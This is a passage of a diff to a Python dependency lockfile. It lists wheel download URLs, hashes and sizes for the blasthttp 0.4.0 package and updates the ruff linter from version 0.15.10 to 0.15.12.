"https://files.pythonhosted.org/packages/60/0e/4160d21a3bcfc0889ef3414b239dc24fd92320feac6c25ae545fe8867bba/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:5ba87482dfed7c242c4707f85a4888d3799e443a55d821d426eb97e7429bded3", size = 4467981, upload-time = "2026-05-01T16:10:49.799Z" }, + { url = "https://files.pythonhosted.org/packages/b2/8f/9cc581d5407c4340239b097238e9f8a55c9bcbd2d0336419b10e14e09edf/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:67c3b8f470ab0a86c7060811e4e21433a81bb507ba9c9a21cc8abc3a7d651239", size = 4472838, upload-time = "2026-05-01T16:10:33.591Z" }, + { url = "https://files.pythonhosted.org/packages/44/12/1d7b61e76c684a31b081b086dc3558a0d7cd39050488ebf722d13d9cf15e/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:d2a59cde9750782c56c6220c8d5c1af741f052e070f6015dfe81f0cc1ab11c39", size = 4096366, upload-time = "2026-05-01T16:10:41.958Z" }, + { url = "https://files.pythonhosted.org/packages/e3/90/f411e41e55771f29dfec1a33b157f79bdce299bbe3f4865ac9d1b7bec7ae/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:fec615295b33d76895bf047f2109cc41d1b5775bc5db40bc5c73b7b98bebfcdf", size = 4230482, upload-time = "2026-05-01T16:10:57.34Z" }, + { url = "https://files.pythonhosted.org/packages/cb/e2/58c0d6975195f3ec9fc96313850457a8fc0feb7d5e90049f250bca3009ce/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f05bd49b19294d2ee74d6e3bf038b22363db9abe0df4d47d174d9100c569efbd", size = 4857209, upload-time = "2026-05-01T16:11:05.558Z" }, + { url = "https://files.pythonhosted.org/packages/fe/35/560c6ef2a7616d1cb0d6caaf7296491d72fa1eb07f49e654dca346d11c4b/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:2ab3dd4fb4e02b2b4c5d85e31598d49ad3d44292a94ad6c4e76f8e5ab01e9420", size = 4191448, upload-time = "2026-05-01T16:11:13.509Z" }, + { url = "https://files.pythonhosted.org/packages/a4/2d/14741faa212e0541254790b2735bc269beed27e4d4ca51324e697c912bb1/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:8df2a897e01a27c2caed3f7604e2dabb69a3e1c54834283c2f0cfbba48e4a6df", size = 4607221, upload-time = "2026-05-01T16:11:21.33Z" }, + { url = "https://files.pythonhosted.org/packages/30/3f/631cce54d4ce277e28ff7ed7e74703ea41f8d4ba872c72bd7f1376aa94ff/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:6fea4489e0e590140d3890983e9197d6348b40b3e225a339d6af2b6a74a8ae7b", size = 4564472, upload-time = "2026-05-01T16:11:29.379Z" }, + { url = "https://files.pythonhosted.org/packages/d1/a9/7cae1cc77a1eeefed8c2727b12e72935f66ec19ef5518c2c01eca25c76ca/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:693a1379940102187b53d96152c150b3771c9eb22d89de1f42cd0d2e21420153", size = 4563775, upload-time = "2026-05-01T16:10:19.162Z" }, + { url = "https://files.pythonhosted.org/packages/a9/01/a462eaab0771413ad448aef0ce28259a054bac1da8dd59a9a25f1e7a2e86/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:aab65d1d8e4e837a180f8a6db0d9d16d662319dca054fa694daa37080cebe22b", size = 3885817, upload-time = "2026-05-01T16:10:27.457Z" }, + { url = "https://files.pythonhosted.org/packages/4d/7b/9569080a6f46d2465f25e1e7fb2ce7db1b096b7a66d72ecf95da177a303c/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:acb396238e7704dc5bbf104be8b60f8bd0ecda9320051474eaefb8974168e7b6", size = 4465003, upload-time = "2026-05-01T16:10:51.55Z" }, + { url = "https://files.pythonhosted.org/packages/45/37/84a897080c47bc401c41f661a4c05879d85bd97d12c0799f553144385c19/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:c0199cea79e8bdf49ea9c70d06771ca60618382940aac0d9a22ef3f101517c0a", size = 4472062, upload-time = "2026-05-01T16:10:35.357Z" }, + { url = "https://files.pythonhosted.org/packages/da/e5/6ae9f82d7f317d3a406b0d47ca9255c724c473caa365cd30b63ac735456f/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:cb081c0b53761e6ca30742d706c039f1186c38f2804230403db4856dc83d4079", size = 4091245, upload-time = "2026-05-01T16:10:43.67Z" }, + { url = "https://files.pythonhosted.org/packages/e5/20/91c8720d7be6722f72d161b09ecc077a8be66c9a798fdd928013cb1a3bfa/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:6c91056098933aeb0380d43716379d431d06c1945ce0a567e7cf7c3f77b4784f", size = 4227936, upload-time = "2026-05-01T16:10:59.137Z" }, + { url = "https://files.pythonhosted.org/packages/fd/e7/92a5f0ee00d85198a30566317535ff89855cdc0a97c77f857c95bb0b9fdc/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:99655b1ab1f580b451067d7613e28f45b9e333fd62fdeecb2790cc4a4c2b3c45", size = 4854465, upload-time = "2026-05-01T16:11:07.143Z" }, + { url = "https://files.pythonhosted.org/packages/03/a5/a26599dfcf7484b2f60df00aede182b5a7abe1296dfd1e36c196229d700a/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:a20e7656a7cfb3586325c5857dd542e8d33626a7b59919a0410018e0ea8963c9", size = 4187569, upload-time = "2026-05-01T16:11:15.031Z" }, + { url = "https://files.pythonhosted.org/packages/73/9d/a790bba458ac9ffe13581dbd5e1720ab611b1d97a412951db54c82299935/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:ae8156905d1389fe86151b989694c6a04f31810b989de6fb1369407b3ca459de", size = 4602503, upload-time = "2026-05-01T16:11:23.022Z" }, + { url = "https://files.pythonhosted.org/packages/44/5f/4e55bc49eb56e9bfd2c89d2dd6dca954c217b79e25b9b701d90d5b3162a5/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:49f6a1fd2dc3fb04884af2c7a49724a86b8110d3ffcd2af8617f57e4cddbcf77", size = 4562715, upload-time = "2026-05-01T16:11:31.341Z" }, + { url = "https://files.pythonhosted.org/packages/54/54/d40f61c10a7115d9daa553879a0642124f24b716faf7dff2674301a42eed/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:702262236f06ec08517bf18560bf2f8f26e5fbdac4f96ae36f57c8a104c4c15b", size = 4561829, upload-time = "2026-05-01T16:10:20.729Z" }, + { url = "https://files.pythonhosted.org/packages/53/6b/6f349ed6d27f42fa8f4a9842a713d6e56b353c2284c00191f7c745eada0c/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:a4b027c113ef6a6c4a454679a0194aadfffb124392982ccf1ef7eb5c33334f83", size = 3878225, upload-time = "2026-05-01T16:10:28.901Z" }, + { url = "https://files.pythonhosted.org/packages/40/47/1cf7005e655bb3513fb849f0f7475139ea2d9e9f4bd342561ecc6d078ab7/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:4e1470ca76bc46909e335b4ee8b4d4b72611f765672388d2c3c89df5d7b5a591", size = 4458508, upload-time = "2026-05-01T16:10:52.963Z" }, + { url = "https://files.pythonhosted.org/packages/16/b6/6d1d6abd8e28911513fdcd01bc8edbb03fec938b52b50c222fe19115fb77/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:18d4476e3778aa28350386e76f7227b571fa7d058f69227d22c99081a000de14", size = 4469432, upload-time = "2026-05-01T16:10:37.016Z" }, + { url = "https://files.pythonhosted.org/packages/9f/44/67fbdf7a040372bfcfd8a8a737d792d442602e2d0d7416f2a7938994109c/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:0f6fe7287e3f5ecd51959b67484f17160ac71d744d60d274125e4d012a7ba748", size = 4090502, upload-time = "2026-05-01T16:10:44.969Z" }, + { url = "https://files.pythonhosted.org/packages/d4/f1/95ef78dbfad4626c70e26b0d3fd19352e0d634c4edd3d06a13edb77ee651/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:6a052865813d60dca690fb9561f8d60c96d93ecfb8001434dc7efef1454c0b16", size = 4225151, upload-time = "2026-05-01T16:11:00.58Z" }, + { url = "https://files.pythonhosted.org/packages/f6/4d/2af0d419952c152f4505d74fbc90f01efdda21618e965d7f60f3cd510f4d/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:34d872d366f4e7c2db88245a06884c155f0ff4746d5b78ebd46910d3044c4443", size = 4851561, upload-time = "2026-05-01T16:11:08.918Z" }, + { url = "https://files.pythonhosted.org/packages/71/49/b64aac3e321016629d2fef12806be50791cfd22d2ddda2bd9a2467cbed40/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:f852ee3b73d75cdb19fc5d8cc6c9982af43e0b59fae168339530bb47da0c29b8", size = 4179050, upload-time = "2026-05-01T16:11:16.692Z" }, + { url = "https://files.pythonhosted.org/packages/f2/99/c283434d5a114d14edae9766f03f8ba5361f26a0f5a0d33cf6a1dd4a1c4a/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a2bf53b2f91310750161ffe7f97567cf634c3022a7200fc02be1f15b3ed7d606", size = 4598661, upload-time = "2026-05-01T16:11:24.356Z" }, + { url = "https://files.pythonhosted.org/packages/9f/7b/fefe45fd2d989fc72d15a60aa77f9d20b95f9f482cb5af3af84161ac5665/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b049ce40b9959cfd31cec481482147791a660eeed7aeef262e34d3ca843a499b", size = 4559800, upload-time = "2026-05-01T16:11:32.783Z" }, + { url = "https://files.pythonhosted.org/packages/33/01/86f0af776d4208c8a787adc465d7851bb9ea0e05f117e1f85f2abe31d9f6/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:30bdbe55fd1883d4f8973adaba2d29e476d9f895b50f298fa8d84bbff6f315ed", size = 4561981, upload-time = "2026-05-01T16:10:22.554Z" }, + { url = "https://files.pythonhosted.org/packages/33/0c/9c587cb9c8b507230c3f72a405c9880138577a464b42126cfa2df615090f/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:cddca738614895ac67ca1e858787296ad515760c145edcd74240950be0dd4b17", size = 3881449, upload-time = "2026-05-01T16:10:30.279Z" }, + { url = "https://files.pythonhosted.org/packages/78/c7/2bdc6052c51470a569ca499a52727003fad20445bc64763de3fd0408543d/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:17f0574eafcf543606de71a21ca62f1a524a4123ee5c5c767f99448c8dd6084a", size = 4463029, upload-time = "2026-05-01T16:10:54.333Z" }, + { url = "https://files.pythonhosted.org/packages/b8/1b/de5c6070408b6ca9321e65107d22d28033d9425059f439318c1d23ee083d/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:0e192488053fbc52f49a610d94f379806a0897f7f7b2d60857a3fbfb4c2a3403", size = 4470584, upload-time = "2026-05-01T16:10:38.609Z" }, + { url = "https://files.pythonhosted.org/packages/4e/0e/c8abd6ed3a5c2428fd41758b87082030c5c98a87aae4f8f18312169e6f2d/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:b48b1b12a56848c98a5aee78ba58c549962d022b404a712b95df95f0e43e03c7", size = 4090171, upload-time = "2026-05-01T16:10:46.715Z" }, + { url = "https://files.pythonhosted.org/packages/3e/a1/aedceff8653eaaa114111971a033c1be9cc44997272be74685021b3b7b60/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:b80d782724df6653249c5be61fce9b77a2fd9fde295e72bb8f7daf7077c9341f", size = 4225924, upload-time = "2026-05-01T16:11:02.687Z" }, + { url = "https://files.pythonhosted.org/packages/31/b4/2232a321fc048d0ac4b10a7daf344dafeb39942151b067bf4f6ff628ac5f/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:96a92b74058475023ada7e02e5cca2c1b69e368582b644a8915f4132fcf310cc", size = 4851739, upload-time = "2026-05-01T16:11:10.408Z" }, + { url = "https://files.pythonhosted.org/packages/84/f2/a516049c47bbe7ca5d2ffa9dc24f467eef7ce385c8833c5f2ea38468db45/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:0bc5d99529aa80884aa610b9f465d06aef4e75131513f856917c38bddbd19c74", size = 4180110, upload-time = "2026-05-01T16:11:18.149Z" }, + { url = "https://files.pythonhosted.org/packages/c3/e5/2b4d6cd9cafd64c97f154be6475552362f35e7c09f2c8fac781ffd1f5971/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cb09f3bfe11fc58a67c9d6c19f67249579599683c2e77219b3f3c694084010e5", size = 4597857, upload-time = "2026-05-01T16:11:25.878Z" }, + { url = "https://files.pythonhosted.org/packages/db/85/cc2dfb5412a29231ee8bfd177b4a817909e8f95414c394f51cd4882a849f/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:396a66dee3f52058da61ea8254f576ca70f3d4eb54d5b5a783455d8b7dbbbd23", size = 4559871, upload-time = "2026-05-01T16:11:34.221Z" }, + { url = "https://files.pythonhosted.org/packages/87/cd/1fb15d9eef665a29c2906a60b5ece728e078eefffa6eb8e793d164bbdc84/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:81a7d53b6ca4e5622bb156edbdc8c5f763992076d68503b2c18089532f2fab5a", size = 4562881, upload-time = "2026-05-01T16:10:24.098Z" }, + { url = "https://files.pythonhosted.org/packages/d2/e1/16a4af8cf1f184103e21b2bd0a3c14165bafcf704f266656793211e53c0e/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:8feed0dee3a750e5d49ee4e38684f8a94e727bfc95feb554fd29021ef77a8522", size = 3879561, upload-time = "2026-05-01T16:10:32.042Z" }, + { url = "https://files.pythonhosted.org/packages/87/ab/ef42ef4afa33ee974c4eae3492bf59da60558072116e114e11eab39e8aa9/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:b45f7aac0885ce1a8a9125bfbaf0d4b7213d5297d98bb68b319efbf02b7103dd", size = 4461286, upload-time = "2026-05-01T16:10:55.779Z" }, + { url = "https://files.pythonhosted.org/packages/4e/a9/d6a6032c4f9022d6245c92671c96bf32c602d68902d8463017e03c576498/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:576206e78de4dcb7c299e63a474180f577c1078c572cd6b7883dd352a9042b45", size = 4470099, upload-time = "2026-05-01T16:10:40.128Z" }, + { url = "https://files.pythonhosted.org/packages/09/a8/336b261e136c583e75de8462ae096c46b2cb2506052ffefd61bfd73d8c95/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:1f7ba239eb7ba2d91470d8487e0800c7f18b5115762b74645f3f0708f4b7a417", size = 4091509, upload-time = "2026-05-01T16:10:48.207Z" }, + { url = "https://files.pythonhosted.org/packages/57/c7/c50ea8a20ddde64e1268e94ae9db83278933f51ad21c2654ee2527c33ac6/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:e1e5374d5fe3e1d3c28d514228b8b0129e0b6d20cc78efc87d65b27662dae3d9", size = 4224394, upload-time = "2026-05-01T16:11:04.077Z" }, + { url = "https://files.pythonhosted.org/packages/de/b5/fb9c16d6da024855da2390cfebb770586eac14bd5f6dddc3dde610161965/blasthttp-0.4.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:2500b1974bce2df2b7acbacdea5012d65abe2de93897fe7576b2cb7f9e7e99cb", size = 4852825, upload-time = "2026-05-01T16:11:11.916Z" }, + { url = "https://files.pythonhosted.org/packages/88/fa/e096bbca96b7d2b93b21ff87d757347efdfd39edd7189edde9633e179d93/blasthttp-0.4.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:09af4c79af71b991afc32b9d73694b2715c0f42d04690b8878049c91250b61b3", size = 4179218, upload-time = "2026-05-01T16:11:19.889Z" }, + { url = "https://files.pythonhosted.org/packages/94/87/899813711c2d7013230ed0d87f518d9f4e4705eb1543e4cc36be973d807b/blasthttp-0.4.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:8f02bc943dd18345d58a78f1ec7e86c5cabbb94a150e8fbc1389822fbd313df6", size = 4597955, upload-time = "2026-05-01T16:11:27.652Z" }, + { url = "https://files.pythonhosted.org/packages/af/cb/7ac9f9d247aed87c537677cf22d7d5bb733e9ab28f0c023703ede72fc603/blasthttp-0.4.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4a893b6ef9d9e60e8163e465e241b229c8f2c5f9bcc85de274ccc9cbc6d2782d", size = 4558895, upload-time = "2026-05-01T16:11:35.928Z" }, ] [[package]] @@ -2808,27 +2808,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.10" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/e7/d9/aa3f7d59a10ef6b14fe3431706f854dbf03c5976be614a9796d36326810c/ruff-0.15.10.tar.gz", hash = "sha256:d1f86e67ebfdef88e00faefa1552b5e510e1d35f3be7d423dc7e84e63788c94e", size = 4631728, upload-time = "2026-04-09T14:06:09.884Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/eb/00/a1c2fdc9939b2c03691edbda290afcd297f1f389196172826b03d6b6a595/ruff-0.15.10-py3-none-linux_armv6l.whl", hash = "sha256:0744e31482f8f7d0d10a11fcbf897af272fefdfcb10f5af907b18c2813ff4d5f", size = 10563362, upload-time = "2026-04-09T14:06:21.189Z" }, - { url = "https://files.pythonhosted.org/packages/5c/15/006990029aea0bebe9d33c73c3e28c80c391ebdba408d1b08496f00d422d/ruff-0.15.10-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:b1e7c16ea0ff5a53b7c2df52d947e685973049be1cdfe2b59a9c43601897b22e", size = 10951122, upload-time = "2026-04-09T14:06:02.236Z" }, - { url = "https://files.pythonhosted.org/packages/f2/c0/4ac978fe874d0618c7da647862afe697b281c2806f13ce904ad652fa87e4/ruff-0.15.10-py3-none-macosx_11_0_arm64.whl", hash = "sha256:93cc06a19e5155b4441dd72808fdf84290d84ad8a39ca3b0f994363ade4cebb1", size = 10314005, upload-time = "2026-04-09T14:06:00.026Z" }, - { url = "https://files.pythonhosted.org/packages/da/73/c209138a5c98c0d321266372fc4e33ad43d506d7e5dd817dd89b60a8548f/ruff-0.15.10-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:83e1dd04312997c99ea6965df66a14fb4f03ba978564574ffc68b0d61fd3989e", size = 10643450, upload-time = "2026-04-09T14:05:42.137Z" }, - { url = "https://files.pythonhosted.org/packages/ec/76/0deec355d8ec10709653635b1f90856735302cb8e149acfdf6f82a5feb70/ruff-0.15.10-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8154d43684e4333360fedd11aaa40b1b08a4e37d8ffa9d95fee6fa5b37b6fab1", size = 10379597, upload-time = "2026-04-09T14:05:49.984Z" }, - { url = "https://files.pythonhosted.org/packages/dc/be/86bba8fc8798c081e28a4b3bb6d143ccad3fd5f6f024f02002b8f08a9fa3/ruff-0.15.10-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8ab88715f3a6deb6bde6c227f3a123410bec7b855c3ae331b4c006189e895cef", size = 11146645, upload-time = "2026-04-09T14:06:12.246Z" }, - { url = "https://files.pythonhosted.org/packages/a8/89/140025e65911b281c57be1d385ba1d932c2366ca88ae6663685aed8d4881/ruff-0.15.10-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a768ff5969b4f44c349d48edf4ab4f91eddb27fd9d77799598e130fb628aa158", size = 12030289, upload-time = "2026-04-09T14:06:04.776Z" }, - { url = "https://files.pythonhosted.org/packages/88/de/ddacca9545a5e01332567db01d44bd8cf725f2db3b3d61a80550b48308ea/ruff-0.15.10-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ee3ef42dab7078bda5ff6a1bcba8539e9857deb447132ad5566a038674540d0", size = 11496266, upload-time = "2026-04-09T14:05:55.485Z" }, - { url = "https://files.pythonhosted.org/packages/bc/bb/7ddb00a83760ff4a83c4e2fc231fd63937cc7317c10c82f583302e0f6586/ruff-0.15.10-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51cb8cc943e891ba99989dd92d61e29b1d231e14811db9be6440ecf25d5c1609", size = 11256418, upload-time = "2026-04-09T14:05:57.69Z" }, - { url = "https://files.pythonhosted.org/packages/dc/8d/55de0d35aacf6cd50b6ee91ee0f291672080021896543776f4170fc5c454/ruff-0.15.10-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:e59c9bdc056a320fb9ea1700a8d591718b8faf78af065484e801258d3a76bc3f", size = 11288416, upload-time = "2026-04-09T14:05:44.695Z" }, - { url = "https://files.pythonhosted.org/packages/68/cf/9438b1a27426ec46a80e0a718093c7f958ef72f43eb3111862949ead3cc1/ruff-0.15.10-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:136c00ca2f47b0018b073f28cb5c1506642a830ea941a60354b0e8bc8076b151", size = 10621053, upload-time = "2026-04-09T14:05:52.782Z" }, - { url = "https://files.pythonhosted.org/packages/4c/50/e29be6e2c135e9cd4cb15fbade49d6a2717e009dff3766dd080fcb82e251/ruff-0.15.10-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:8b80a2f3c9c8a950d6237f2ca12b206bccff626139be9fa005f14feb881a1ae8", size = 10378302, upload-time = "2026-04-09T14:06:14.361Z" }, - { url = "https://files.pythonhosted.org/packages/18/2f/e0b36a6f99c51bb89f3a30239bc7bf97e87a37ae80aa2d6542d6e5150364/ruff-0.15.10-py3-none-musllinux_1_2_i686.whl", hash = "sha256:e3e53c588164dc025b671c9df2462429d60357ea91af7e92e9d56c565a9f1b07", size = 10850074, upload-time = "2026-04-09T14:06:16.581Z" }, - { url = "https://files.pythonhosted.org/packages/11/08/874da392558ce087a0f9b709dc6ec0d60cbc694c1c772dab8d5f31efe8cb/ruff-0.15.10-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:b0c52744cf9f143a393e284125d2576140b68264a93c6716464e129a3e9adb48", size = 11358051, upload-time = "2026-04-09T14:06:18.948Z" }, - { url = "https://files.pythonhosted.org/packages/e4/46/602938f030adfa043e67112b73821024dc79f3ab4df5474c25fa4c1d2d14/ruff-0.15.10-py3-none-win32.whl", hash = "sha256:d4272e87e801e9a27a2e8df7b21011c909d9ddd82f4f3281d269b6ba19789ca5", size = 10588964, upload-time = "2026-04-09T14:06:07.14Z" }, - { url = "https://files.pythonhosted.org/packages/25/b6/261225b875d7a13b33a6d02508c39c28450b2041bb01d0f7f1a83d569512/ruff-0.15.10-py3-none-win_amd64.whl", hash = "sha256:28cb32d53203242d403d819fd6983152489b12e4a3ae44993543d6fe62ab42ed", size = 11745044, upload-time = "2026-04-09T14:05:39.473Z" }, - { url = "https://files.pythonhosted.org/packages/58/ed/dea90a65b7d9e69888890fb14c90d7f51bf0c1e82ad800aeb0160e4bacfd/ruff-0.15.10-py3-none-win_arm64.whl", hash = "sha256:601d1610a9e1f1c2165a4f561eeaa2e2ea1e97f3287c5aa258d3dab8b57c6188", size = 11035607, upload-time = "2026-04-09T14:05:47.593Z" }, +version = "0.15.12" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/99/43/3291f1cc9106f4c63bdce7a8d0df5047fe8422a75b091c16b5e9355e0b11/ruff-0.15.12.tar.gz", hash = "sha256:ecea26adb26b4232c0c2ca19ccbc0083a68344180bba2a600605538ce51a40a6", size = 4643852, upload-time = "2026-04-24T18:17:14.305Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c3/6e/e78ffb61d4686f3d96ba3df2c801161843746dcbcbb17a1e927d4829312b/ruff-0.15.12-py3-none-linux_armv6l.whl", hash = "sha256:f86f176e188e94d6bdbc09f09bfd9dc729059ad93d0e7390b5a73efe19f8861c", size = 10640713, upload-time = "2026-04-24T18:17:22.841Z" }, + { url = "https://files.pythonhosted.org/packages/ae/08/a317bc231fb9e7b93e4ef3089501e51922ff88d6936ce5cf870c4fe55419/ruff-0.15.12-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:e3bcd123364c3770b8e1b7baaf343cc99a35f197c5c6e8af79015c666c423a6c", size = 11069267, upload-time = "2026-04-24T18:17:30.105Z" }, + { url = "https://files.pythonhosted.org/packages/aa/a4/f828e9718d3dce1f5f11c39c4f65afd32783c8b2aebb2e3d259e492c47bd/ruff-0.15.12-py3-none-macosx_11_0_arm64.whl", hash = "sha256:fe87510d000220aa1ed530d4448a7c696a0cae1213e5ec30e5874287b66557b5", size = 10397182, upload-time = "2026-04-24T18:17:07.177Z" }, + { url = "https://files.pythonhosted.org/packages/71/e0/3310fc6d1b5e1fdea22bf3b1b807c7e187b581021b0d7d4514cccdb5fb71/ruff-0.15.12-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:84a1630093121375a3e2a95b4a6dc7b59e2b4ee76216e32d81aae550a832d002", size = 10758012, upload-time = "2026-04-24T18:16:55.759Z" }, + { url = "https://files.pythonhosted.org/packages/11/c1/a606911aee04c324ddaa883ae418f3569792fd3c4a10c50e0dd0a2311e1e/ruff-0.15.12-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:fb129f40f114f089ebe0ca56c0d251cf2061b17651d464bb6478dc01e69f11f5", size = 10447479, upload-time = "2026-04-24T18:16:51.677Z" }, + { url = "https://files.pythonhosted.org/packages/9d/68/4201e8444f0894f21ab4aeeaee68aa4f10b51613514a20d80bd628d57e88/ruff-0.15.12-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b0c862b172d695db7598426b8af465e7e9ac00a3ea2a3630ee67eb82e366aaa6", size = 11234040, upload-time = "2026-04-24T18:17:16.529Z" }, + { url = "https://files.pythonhosted.org/packages/34/ff/8a6d6cf4ccc23fd67060874e832c18919d1557a0611ebef03fdb01fff11e/ruff-0.15.12-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2849ea9f3484c3aca43a82f484210370319e7170df4dfe4843395ddf6c57bc33", size = 12087377, upload-time = "2026-04-24T18:17:04.944Z" }, + { url = "https://files.pythonhosted.org/packages/85/f6/c669cf73f5152f623d34e69866a46d5e6185816b19fcd5b6dd8a2d299922/ruff-0.15.12-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9e77c7e51c07fe396826d5969a5b846d9cd4c402535835fb6e21ce8b28fef847", size = 11367784, upload-time = "2026-04-24T18:17:25.409Z" }, + { url = "https://files.pythonhosted.org/packages/e8/39/c61d193b8a1daaa8977f7dea9e8d8ba866e02ea7b65d32f6861693aa4c12/ruff-0.15.12-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:83b2f4f2f3b1026b5fb449b467d9264bf22067b600f7b6f41fc5958909f449d0", size = 11344088, upload-time = "2026-04-24T18:17:12.258Z" }, + { url = "https://files.pythonhosted.org/packages/c2/8d/49afab3645e31e12c590acb6d3b5b69d7aab5b81926dbaf7461f9441f37a/ruff-0.15.12-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:9ba3b8f1afd7e2e43d8943e55f249e13f9682fde09711644a6e7290eb4f3e339", size = 11271770, upload-time = "2026-04-24T18:17:02.457Z" }, + { url = "https://files.pythonhosted.org/packages/46/06/33f41fe94403e2b755481cdfb9b7ef3e4e0ed031c4581124658d935d52b4/ruff-0.15.12-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:e852ba9fdc890655e1d78f2df1499efbe0e54126bd405362154a75e2bde159c5", size = 10719355, upload-time = "2026-04-24T18:17:27.648Z" }, + { url = "https://files.pythonhosted.org/packages/0d/59/18aa4e014debbf559670e4048e39260a85c7fcee84acfd761ac01e7b8d35/ruff-0.15.12-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:dd8aed930da53780d22fc70bdf84452c843cf64f8cb4eb38984319c24c5cd5fd", size = 10462758, upload-time = "2026-04-24T18:17:32.347Z" }, + { url = "https://files.pythonhosted.org/packages/25/e7/cc9f16fd0f3b5fddcbd7ec3d6ae30c8f3fde1047f32a4093a98d633c6570/ruff-0.15.12-py3-none-musllinux_1_2_i686.whl", hash = "sha256:01da3988d225628b709493d7dc67c3b9b12c0210016b08690ef9bd27970b262b", size = 10953498, upload-time = "2026-04-24T18:17:20.674Z" }, + { url = "https://files.pythonhosted.org/packages/72/7a/a9ba7f98c7a575978698f4230c5e8cc54bbc761af34f560818f933dafa0c/ruff-0.15.12-py3-none-musllinux_1_2_x86_64.whl", hash = 